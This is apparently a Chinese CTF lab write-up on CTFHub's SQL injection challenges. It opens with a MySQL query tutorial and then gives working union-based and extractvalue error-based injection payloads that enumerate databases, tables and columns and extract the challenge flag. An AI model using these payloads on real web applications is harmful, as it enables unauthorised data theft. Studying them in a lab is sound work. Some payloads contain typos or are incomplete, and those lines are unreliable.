Ctfhub Web-SQL注入

mysql 命令

sql 命令使用

1
2
3
4
5
6
7
8
9
1.基本查询
select *from 表名 查找表内所有内容
使用SELECT * FROM students时,SELECT是关键字,表示将要执行一个查询,*表示“所有列”,FROM表示将要从哪个表查询
2.条件查询
例如,要指定条件“查找user表里面username='flag'”,写成WHERE条件就是select *from user where username='flag' ;。
其中,WHERE关键字后面username='flag'的就是条件。username是列名,该列存储了学生的成绩,因此,username='flag'就筛选出了指定条件的记录:
3.投影查询
例如,从user表中返回id、username和password这三列:
SELECT id, password, username FROM user;

8910ab1f34ca3908.png

fc54ec25e86cfc40.png

1
2
3
4
5
6
7
8
4.排序
例如按照成绩从低到高进行排序:
select id,username,password,score from user order by score;(默认升序)
select id,username,password,score from user order by score desc;(降序)
如果score列有相同的数据,要进一步排序,可以继续添加列名。例如,使用ORDER BY score DESC, id表示先按score列倒序,如果有相同分数的,再按id列排序:mysql> select id,username,password,score from user order by score desc,id;

如果有WHERE子句,那么ORDER BY子句要放到WHERE子句后面。例如,查询一班的学生成绩,并按照倒序排序:
SELECT id,username,score` `FROM user` `WHERE id = 1``ORDER BY score DESC;

0e5985c41fb60cc7.png

16acac2e84d6702e.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
5.分页查询

分页实际上就是从结果集中“截取”出第M~N条记录。这个查询可以通过LIMIT OFFSET 子句实现。我们先把所有学生按照成绩从高到低进行排序:

我们把结果集分页,每页3条记录。要获取第1页的记录,可以使用LIMIT 3 OFFSET 0:对结果集从0号记录开始,最多取3条。注意SQL记录集的索引从0开始
SELECT id, username, score FROM user ORDER BY score DESC LIMIT 3 OFFSET 0;
如果要查询第2页,那么我们只需要“跳过”头3条记录,也就是对结果集从3号记录开始查询,把OFFSET设定为3
SELECT id, username, score FROM user ORDER BY score DESC LIMIT 3 OFFSET 3;(因为我们这里数据较少,查不到)
LIMIT 3表示的意思是“最多3条记录”。

LIMIT总是设定为pageSize;

OFFSET计算公式为pageSize * (pageIndex - 1)。

注意:OFFSET是可选的,如果只写LIMIT 15,那么相当于LIMIT 15 OFFSET 0

在MySQL中,LIMIT 15 OFFSET 30还可以简写成LIMIT 30, 15

使用LIMIT OFFSET 分页时,随着N越来越大,查询效率也会越来越低。

93e95cc3d116cb9a.png

a3593d730baaecd4.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
6.聚合查找
查询students表一共有多少条记录为例,我们可以使用SQL内置的COUNT()函数查询
SELECT COUNT(*) FROM user;
– 使用聚合查询并设置结果集的列名为num:
SELECT COUNT(*) num FROM user;
COUNT(*)和COUNT(id)实际上是一样的效果。另外注意,聚合查询同样可以使用WHERE条件,因此我们可以方便地统计出多id为1的学生等:
SELECT COUNT(*) FROM user WHERE id=1;
SUM 计算某一列的合计值,该列必须为数值类型
AVG 计算某一列的平均值,该列必须为数值类型
MAX 计算某一列的最大值
MIN 计算某一列的最小值
注意,MAX()和MIN()函数并不限于数值类型。如果是字符类型,MAX()和MIN()会返回排序最后和排序最前的字符。
-- 使用聚合查询计算平均成绩:SELECT AVG(score) AS average FROM user WHERE score >= 40;
如果聚合查询的WHERE条件没有匹配到任何行,COUNT()会返回0,而SUM()、AVG()、MAX()和MIN()会返回NULL。
对于聚合查询,SQL还提供了“分组聚合”的功能。我们观察下面的聚合查询:
SELECT class_id, COUNT(*) num FROM students GROUP BY class_id;

eadc735c8fc3794b.png

74128134ec97b44b.png

a06e1ecc418a1e42.png

5596d453831e9a47.png

1
2
3
4
7.多表查询

例如,同时从students表和classes表的“乘积”,即查询数据,可以这么写:
SELECT * FROM students, classes;

78cf19793cb02d26.png

8.连接查询

1
SELECT  s.name, s.class_id, s.gender, s.score FROM stu s;

43018fee078ac34d.png

LIKE 运算符

到目前为止,您已经看到了标识确切字符串的条件,例如WHERE name=‘Lois Lane’。但是在SQL中,您也可以使用LIKE运算符执行部分或模式匹配。
LIKE运算符允许您为一个或多个字符指定通配符提供模式匹配的度量。您可以使用以下两个通配符:
● 百分号(%) - 匹配任意数量的字符,甚至零个字符。
● 下划线(_) - 完全匹配一个字符
这是一些示例,显示了如何将LIKE运算符与通配符一起使用。

声明 含义 返回值
WHERE name LIKE ‘Da%’ 查找以Da开头的名字 David, Davidson
WHERE name LIKE ‘%th’ 查找以th结尾的名字 查找以th结尾的名字 Elizabeth, Smith
WHERE name LIKE ‘%on%’ 查找包含on的名字 Davidson, Toni
WHERE name LIKE ‘Sa_’ 查找以Sa开头且最多后跟一个字符的名字 Sa
WHERE name LIKE ‘_oy’ 查找以oy结尾且最多包含一个字符的名字 Joy, Roy
WHERE name LIKE ‘an 查找包含an的名字,并以一个字符开头和结尾 Dana, Hans
WHERE name LIKE ‘%ar_’ 查找包含ar的名字,该名字以任意数量的字符开头,并以最多一个字符结尾 Richard, Karl
WHERE name LIKE ‘_ar%’ 查找包含ar的名字,最多以一个字符开头,以任意数量的字符结尾 Karl, Mariya

模糊查找
79717f0046799f8c.png

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

危害:木马上传、UDF提权、数据泄露。其中最大的危害就是数据泄露。

产生原因:由于编写程序的时候,未对用户的输入进行有效的过滤,从而让用户通过非法输入获取其他的数据信息。也就是说在进行数据交互的过程中,用户的恶意输入被带入到了程序后端数据库进行查询。导致了数据的泄露。

总体攻击思路

2.SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件。

(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。

(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

当传入的ID参数为1时,数据库执行的代码如下所示

1
select * from users where id = 1' 1

这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。

1
select * from users where id=1 and 1=1

1 因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。 在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承”外部参数皆不可信的原则”进行开发

.MySQL查询语句
在不知道任何条件时,语句如下所示。

select 查询的字段名 from 库名.表名

在知道一条已知条件时,语句如下所示。

select 要查询的字段名 from 库名.表名 where 已知条件的字段名=’已知条件的值’

.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

86a648ffbc78ae68.png

3 SQL注入的分类
可以按照两个分类标准来进行分类,当然常见的就是按照注入方式的不同将其分类为:

联合查询注入:可以明确判断回显位置的情况下使用
报错注入:无回显位置,可以有报错输出的情况可以使用
布尔盲注:关闭错误回显和数据回显,但是页面会根据我们的输入对错变化。可以使用。
时间盲注:无任何形式的回显,但是仅仅对睡眠函数有响应,可以使用时间盲注。
堆叠注入:堆叠注入在mysql上不常见,必须要用到mysqli_multi_query()或者PDO,可以用分号分割来执行多个语句,相当于可直连数据库。Mssql则较常见堆叠注入。
根据注入点分类:

数字型注入 字符型注入 搜索型注入

2. 注入思路

需要记住的几个函数
·database() 当前网站使用的数据库
·version() 当前MySQL的版本
·user() 当前MySQL的用户

注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/

此处为对联合查询的高度概括

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#1.判断数据库字段数目
'order by ?

#2.联合查询---接入1,2,3,4回显数据
mysql> select * from stu union select 1,2,3,4;
+----+---------+--------+------+
| id | name | gender | age |
+----+---------+--------+------+
| 1 | chengke | 1 | 30 |
| 1 | beijing | 1 | 200 |
| 2 | guagnxi | 1 | 2300 |
| 3 | nanjing | 1 | 500 |
| 4 | henan | 1 | 600 |
| 1 | 2 | 3 | 4 |
+----+---------+--------+------+
6 rows in set (0.00 sec)

#3.回显user--假设回显位置为2
mysql> select * from stu union select 1,(select user()),3,4;

#4.回显数据库
mysql> select * from stu union select 1,(select database()),3,4;

#5.回显版本号
mysql> select * from stu union select 1,(select version()),3,4;

#6.查询表名---(5.7出不来?)
mysql> select * from stu union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='testdb'),3,4;

#7.查询字段信息
mysql> select * from stu union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='testdb' and table_name='stu'),3,4;

#8.锁定目标信息
select * from stu union select 1,(select group_concat(name,age) from stu),3,4;

1
2
3
4
5
6
7
8
9
10
group_concat()—字符连接—连接为一行
concat()—连接函数—连接为多行

Q:如何判断注入点?
A:
我们可以通过以下方案测试注入点的存在性:
1.直接在后面加’或者“看是否有错误回显
2.and 1=1 | and 2 > 1 | or 1=1 | or 1 < 1
3.数据库函数:sleep(4)=1 | length(user()) > 3

了解过程之后我们可以刷题复习

3.判断闭合方式

首先我们可以知道,sql的注入可以分为数字类型,字符类型。

方法1:
首先我们可以使用\(转义字符)来判断SQL注入的闭合方式。 原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。

分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。

方法2:
首先尝试: ?id=1’ ?id=1” 结果一:如果都报错 判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错。 继续尝试 ?id=1’ –-+ 结果1:无报错 判断闭合符为:单引号闭合。 结果2:报错 判断闭合符可能为:单引号加括号。

结果三:如果单引号不报错,双引号报错。 继续尝试 ?id=1" -–+ 结果1:结果无报错 判断闭合符为:双引号闭合。 结果2:报错 判断闭合符可能为:双引号加括号。

注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。

ctfhub复现 整数型注入

我们输入 1

不断尝试发现闭合方式就是 1 ,整数型

eb4744a0eb6f6a7a.png

可以发现存在2列

1
order by 2

46318064fb3c3bdb.png

然后我们可以发现到存在两个注入点

1
/?id=-1 union select 8,9

2504bfabf6f488fa.png

爆库,当前数据库为sqli

1
/?id=-1 union select 8,database()

c928fd4a63ce2dcf.png

爆出所有表名,这里我们需要把sqli转换为16进制

1
/?id=-1 union select 8,group_concat(table_name) from infromation_schema.tables where table_schema=0x73716c69

4234681f7c4c4288.png

爆字段,我们需要把表明转换为16进制

1
/?id=-1 union select 8,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

6aa80adedbef043f.png

查询flag字段的值

1
/?id=-1  union select 8,flag from sqli.flag

c0789f2bfc85e94e.png

问题解决

ctfhub复现 字符型注入

打开题目环境

我们先测试

输入

1
1'

判断闭合方式为字符型,闭合方式 1’

513d0d22e2370320.png

1
2
两列
/?id=1' order by 1,2 --+

27d4660068549e73.png

1
2
通过占位符查看回显
/?id=-1' union select 1,2 --+

5bc827495a512a21.png

1
2
当前数据库
/?id=-1' union select 1,database() --+

af90e4eacce621a1.png

1
2
爆表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+

9ddac756e4ae2d5c.png

1
/?id=-1' union select 1,flag from sqli.flag --+

6fec6f10b82f3872.png

ctfhub 复现 报错注入

判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。

三种方法extractvalue() updatexml() floor()

(1)extractvalue报错注入:0x7e就是~用来区分数据
里面用select语句,不能用union select

concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。extractvalue报错注入语句格式:

1
2
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
1

爆库

1
1 and extractvalue(null,concat(0x7e,(database()),0x7e))

abf2f745dd3bb58c.png

爆库成功,库名为sqli,爆表
limit 0,1爆破第一个表

1
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

b5d94fafd7dba834.png

继续爆表

1
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))

9f591bf112d5ed59.png

爆表成功,sqli库中有两张表,分别是news,flag,接下来爆字段名

1
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

得到字段名为flag,接下来爆字段内容

1
2
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

87de9b571b1f6ee7.png

只爆出一半

接下来后半段

1
1 and extractvalue(null,concat(0x7e,right((select(group_concat(flag)) from sqli.flag) ,),0x7e))

9ecb573827fd78c2.png
我们试试拼接flag

1
ctfhub{9ea05fa1283354d369af657c9ea05fa1283354d369af657c}